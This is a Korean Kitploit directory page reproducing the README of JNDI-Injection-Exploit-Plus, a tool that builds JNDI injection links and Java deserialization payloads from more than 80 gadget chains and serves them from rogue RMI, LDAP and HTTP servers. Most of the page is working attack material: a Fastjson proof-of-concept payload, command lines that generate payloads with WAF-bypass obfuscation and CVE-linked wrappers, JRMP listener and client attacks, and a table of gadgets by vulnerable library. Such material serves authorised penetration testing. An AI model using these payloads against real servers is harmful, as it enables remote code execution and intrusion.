Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
JNDI-Injection-Exploit-Plus — 작동 가능한 JNDI 인젝션 링크와 80개 이상의 가젯을 포함한 역직렬화 페이로드를 생성하며, 자동화된 취약점 테스트를 위해 RMI, LDAP 및 HTTP 서버를 지원합니다. | Kitploit
도구/GitHubGitHub/cckuailong/jndi-injection-exploit-plus
Exploit FrameworksVulnerability AnalysisWeb Application ExploitationPenetration TestingPayload Development
GitHubcckuailong/jndi-injection-exploit-plus

JNDI-Injection-Exploit-Plus

작동 가능한 JNDI 인젝션 링크와 80개 이상의 가젯을 포함한 역직렬화 페이로드를 생성하며, 자동화된 취약점 테스트를 위해 RMI, LDAP 및 HTTP 서버를 지원합니다.

저장소 보기

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
8801142년 전Kitploit 검토 완료

JNDI-Injection-Exploit-Plus

중국어 README

설명

JNDI-Injection-Exploit-Plus는 작동 가능한 JNDI 링크를 생성하고 RMI 서버, LDAP 서버 및 HTTP 서버를 시작하여 백그라운드 서비스를 제공하는 도구입니다.

이 도구를 사용하면 JNDI 링크를 얻을 수 있으며, 이 링크를 POC에 삽입하여 취약점을 테스트할 수 있습니다.

예를 들어, 다음은 Fastjson 취약점 POC입니다:

root@kitploit:~
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1099/Object","autoCommit":true}

"rmi://127.0.0.1:1099/Object"를 JNDI-Injection-Exploit-Plus로 생성된 링크로 바꾸어 취약점을 테스트할 수 있습니다.

또한 JNDI-Injection-Exploit-Plus를 사용하여 ysoserial과 같은 base64/hex 유형의 페이로드를 생성할 수 있습니다.

JNDI-Injection-Exploit보다 더 많은 기능

JNDI-Injection-Exploit는 훌륭한 도구이며, 이것은 그 플러스 버전입니다.

추가 기능

1. 더 많은 JNDI 원격 참조 Gadget: (총 3개)

  • JDK 6/7/8 지원

2. 더 많은 JNDI 로컬 참조 Gadget: (총 4개)

3. 역직렬화 Gadget (총 75개)

참고: ysoserial보다 더 많은 Gadget(⬆️ )이 있습니다. 더 많은 PR을 환영합니다! ^_^

4. 페이로드 생성 및 내보내기

ysoserial과 유사합니다.

Base64 또는 HEX 유형의 출력으로 역직렬화 페이로드를 생성할 수 있습니다.

5. 래퍼

역직렬 데이터를 래핑하는 몇 가지 래퍼입니다.

래퍼예시 취약점
XstreamCVE-2021-39149
ApereoApereo 4.1 역직렬화 RCE
JbossRemotingJbossRemoting 포트 역직렬화
Gzip
  • 예제
root@kitploit:~
$ java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar -C "open -a Calculator" -D Jdk7u21 -W Xstream

6. 퓨전

클래스 이름을 숨겨 WAF를 우회합니다.

  • 예제
root@kitploit:~
$ java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar -C "open -a Calculator" -D Jdk7u21 -F

참고: https://www.leavesongs.com/PENETRATION/utf-8-overlong-encoding.html

역직렬 Gadget을 반환하는 웹 서비스

root@kitploit:~
java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar
root@kitploit:~
POST /deserial/{Gadget}

cmd={command}&wrapper={wrapper}output={base64/hex}

참고: wrapper 및 output 매개변수는 선택 사항입니다.

사용법

JNDI 링크

다음과 같이 실행

root@kitploit:~
$ java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar [-C] [command] [-A] [address]

여기서:

  • -C - 원격 클래스파일에서 실행되는 명령어.

    (선택 사항, 기본 명령어는 "open /Applications/Calculator.app")

  • -A - 서버의 주소, IP 주소 또는 도메인일 수 있음.

    (선택 사항, 기본 주소는 첫 번째 네트워크 인터페이스 주소)

주의 사항:

  • 서버의 포트(1099, 1389, 8180)가 사용 가능한지 확인하세요.

  • 또는 run.ServerStart 클래스에서 기본 포트를 변경할 수 있습니다.

  • 명령어는 **Runtime.getRuntime().exec()**의 매개변수로 전달됩니다.

  • 따라서 명령어가 exec() 메서드에서 작동 가능한지 확인해야 합니다.

  • "bash -c ...."와 같은 bash 명령어는 큰따옴표를 추가해야 합니다.

역직렬화 페이로드

다음과 같이 실행

root@kitploit:~
$ java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar [-C] [command] [-D] [Gadget] [-O] [base64/hex]

여기서:

  • -C - 원격 클래스파일에서 실행되는 명령어.

    (선택 사항, 기본 명령어는 "open /Applications/Calculator.app")

  • -D - 역직렬 Gadget 페이로드 이름.

  • -O - (선택 사항) 역직렬 출력 유형, 기본값은 base64

역직렬화 공격

JRMP

  • JRMPListener
root@kitploit:~
java -cp JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar exploit.JRMPListener <port> CommonsCollections1 calc
  • JRMPClient
root@kitploit:~
java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar -C "<ip>:<port>" -D "JRMPClient" -O base64

예제

JNDI 링크

로컬 데모:

  1. 다음과 같이 도구를 시작합니다:

    root@kitploit:~
    $ java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar -C "/System/Applications/Calculator.app/Contents/MacOS/Calculator" -A "127.0.0.1"
    

    스크린샷:

  2. 1단계에서 생성된 rmi://ADDRESS/remoteExploit8과 같은 JNDI 링크를 JNDI 주입으로 공격 가능한 취약한 애플리케이션에 주입한다고 가정합니다.

    이 예에서는 다음과 같습니다:

    root@kitploit:~
    class Test{
        public static void main(String[] args) throws Exception{
            InitialContext ctx = new InitialContext();
            ctx.lookup("rmi://127.0.0.1:1099/remoteExploit8");
        }
    }
    

    그러면 이 코드를 실행할 때 명령이 실행됩니다.

    그리고 쉘에 로그가 출력됩니다:

더 많은 예제: Test-JNDI-Injection-Exploit-Plus

역직렬화 페이로드

root@kitploit:~
$ java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar -C "/System/Applications/Calculator.app/Contents/MacOS/Calculator" -D "Spring2" -O base64

Base64 출력 결과:

설치

jar를 얻기 위해 두 가지 방법 중 하나를 선택할 수 있습니다.

  1. Realease에서 최신 jar를 다운로드합니다.

  2. 소스 코드를 로컬에 클론하고 빌드합니다 (Java 1.8+ 및 Maven 3.x+ 필요).

    root@kitploit:~
    $ git clone https://github.com/cckuailong/JNDI-Injection-Exploit-Plus.git
    
    root@kitploit:~
    $ cd JNDI-Injection-Exploit-Plus
    
    root@kitploit:~
    $ mvn clean package -DskipTests
    

참고. ‼️ "java.rmi.xxx does not exists"와 같은 오류가 발생하면 JAVA_HOME 환경 변수를 설정해야 합니다.

면책 조항

모든 정보와 코드는 교육 목적 및/또는 자신의 시스템에서 이러한 취약점을 테스트하기 위해서만 제공됩니다.

도구 다운로드
페이로드작성자의존성
Tomcat 8+ 또는 SpringBoot@welk1ntrustURLCodebase가 false이지만 클래스패스에 Tomcat 8+ 또는 SpringBoot 1.2.x+가 있는 경우
Groovy (GroovyClassLoader)@cckuailongtrustURLCodebase가 false이지만 클래스패스에 Tomcat과 Groovy가 있는 경우
Groovy (GroovyShell)@cckuailongtrustURLCodebase가 false이지만 클래스패스에 Tomcat과 Groovy가 있는 경우
Websphere Readfile@cckuailongtrustURLCodebase가 false이지만 클래스패스에 WebSphere v6-v9가 있는 경우
payloadauthordependencies
AspectJWeaver@Jangaspectjweaver:1.9.2, commons-collections:3.2.2
BeanShell1@pwntester, @cschneider4711bsh:2.0b5
C3P0@mbechlerc3p0:0.9.5.2, mchange-commons-java:0.2.11
C3P0Tomcat@yulegeyutomcat, com.mchange:c3p0:0.9.5.2, com.mchange:mchange-commons-java:0.2.11
Click1@artsploitclick-nodeps:2.3.0, javax.servlet-api:3.1.0
Clojure@JackOfMostTradesclojure:1.8.0
Coherence1 ⬆️@cckuailongcoherence:3.7.1.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0
Coherence2 ⬆️@cckuailongcoherence:3.7.1.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0
Coherence3 ⬆️@cckuailongcoherence:3.7.1.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0
Coherence4 ⬆️@cckuailongcoherence:3.7.1.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0, 14.1.1.0.0
Coherence5 ⬆️@cckuailongcoherence:12.2.1.3.0, 12.2.1.4.0, 14.1.1.0.0
Coherence6 ⬆️@cckuailongcoherence:12.2.1.3.0, 12.2.1.4.0, 14.1.1.0.0
CommonsBeanutils1@frohoffcommons-beanutils:1.9.2
CommonsBeanutils2 ⬆️@cckuailongcommons-beanutils:1.9.2
CommonsCollections1@frohoffcommons-collections:3.1
CommonsCollections1_1 ⬆️@cckuailongcommons-collections:3.1
CommonsCollections2@frohoffcommons-collections4:4.0
CommonsCollections2_1 ⬆️@cckuailongcommons-collections4:4.0
CommonsCollections3@frohoffcommons-collections:3.1
CommonsCollections3_1 ⬆️@cckuailongcommons-collections:3.1
CommonsCollections4@frohoffcommons-collections4:4.0
CommonsCollections5@matthias_kaiser, @jasinnercommons-collections:3.1
CommonsCollections5_1 ⬆️@cckuailongcommons-collections:3.1
CommonsCollections6@matthias_kaisercommons-collections:3.1
CommonsCollections6_1 ⬆️@cckuailongcommons-collections:3.1
CommonsCollections6_2 ⬆️@cckuailongcommons-collections:3.1
CommonsCollections6_3 ⬆️@cckuailongcommons-collections:3.1
CommonsCollections7@scristalli, @hanyrax, @EdoardoVignaticommons-collections:3.1
CommonsCollections7_1 ⬆️@cckuailongcommons-collections:3.1
CommonsCollections8 ⬆️@cckuailongcommons-collections4:4.0
CommonsCollections9 ⬆️@cckuailongcommons-collections:3.2.1
CommonsCollections10 ⬆️@cckuailongcommons-collections:3.2.1
CommonsCollections11 ⬆️@cckuailongcommons-collections:3.1
FileUpload1@mbechlercommons-fileupload:1.3.1, commons-io:2.4
Groovy1@frohoffgroovy:2.3.9
Hibernate1@mbechler
Hibernate2@mbechler
Jackson ⬆️@y4ercom.fasterxml.jackson.core:jackson-databind:2.14.2
JBossInterceptors1@matthias_kaiserjavassist:3.12.1.GA, jboss-interceptor-core:2.0.0.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
Jdk7u21@frohoff
JRMPClient1@mbechler
JRMPClient2 ⬆️@cckuailong
JRMPClient3 ⬆️@cckuailong
JRMPClient4 ⬆️@cckuailong
JRMPClient5 ⬆️@cckuailong
JRMPClient6 ⬆️@cckuailong
JRMPListener1@cckuailong
JSON1@mbechlerjson-lib🫙jdk15:2.4, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2, commons-lang:2.6, ezmorph:1.0.6, commons-beanutils:1.9.2, spring-core:4.1.4.RELEASE, commons-collections:3.1
JavassistWeld1@matthias_kaiserjavassist:3.12.1.GA, weld-core:1.1.33.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
Jython1@pwntester, @cschneider4711jython-standalone:2.5.2
MozillaRhino1@matthias_kaiserjs:1.7R2
MozillaRhino2@_tint0js:1.7R2
Myfaces1@mbechler
Myfaces2@mbechler
ROME1@mbechlerrome:1.0
ROME2 ⬆️@firebaskyrome:1.0
Scala1 ⬆️@jarijorg.scala-lang:scala-library:2.13.x
Spring1@frohoffspring-core:4.1.4.RELEASE, spring-beans:4.1.4.RELEASE
Spring2@mbechlerspring-core:4.1.4.RELEASE, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2
Spring3 ⬆️@cckuailongspring-tx:5.2.3.RELEASE, spring-context:5.2.3.RELEASE, javax.transaction-api:1.2
URLDNS@geblJRE만으로 취약점 탐지
Vaadin1@kai_ullrichvaadin-server:7.7.14, vaadin-shared:7.7.14
Weblogic1 ⬆️@cckuailongweblogic:10.3.6.0, 12.1.3.0, 12.2.1.0
Weblogic2 ⬆️@cckuailongweblogic:10.3.6.0, 12.1.3.0, 12.2.1.0
Weblogic3 ⬆️@cckuailongcom.bea.core.repackaged.springframework.transaction.jta.JtaTransactionManager
Weblogic4 ⬆️@cckuailongweblogic.common.internal.WLObjectOutputStream
Weblogic5 ⬆️@cckuailongweblogic:12.2.1.4, coherence
Weblogic6 ⬆️@cckuailongweblogic:10.3.6.0, 12.1.3.0, 12.2.1.3, 12.2.1.4
Weblogic7 ⬆️@cckuailongweblogic:10.3.6.0, 12.1.3.0, 12.2.1.3, 12.2.1.4
Weblogic8 ⬆️@cckuailongweblogic:12.2.1.3, 12.2.1.4, 14.1.1.0
Weblogic9 ⬆️@cckuailongweblogic:10.3.6.0, 12.1.3.0, 12.2.1.3, 12.2.1.4, 14.1.1.0
Weblogic10 ⬆️@cckuailongweblogic:10.3.6.0, 12.1.3.0, 12.2.1.3, 12.2.1.4, 14.1.1.0
Weblogic11 ⬆️@cckuailongweblogic:12.2.1.3, 12.2.1.4, 14.1.1.0
Wicket1@jacob-baineswicket-util:6.23.0, slf4j-api:1.6.4
WildFly1 ⬆️@hugoworg.wildfly:wildfly-connector:26.0.1.Final
일부 yonyou 인터페이스에서 Gzip 사용
DirtyWAF 우회를 위해 많은 더티 데이터 삽입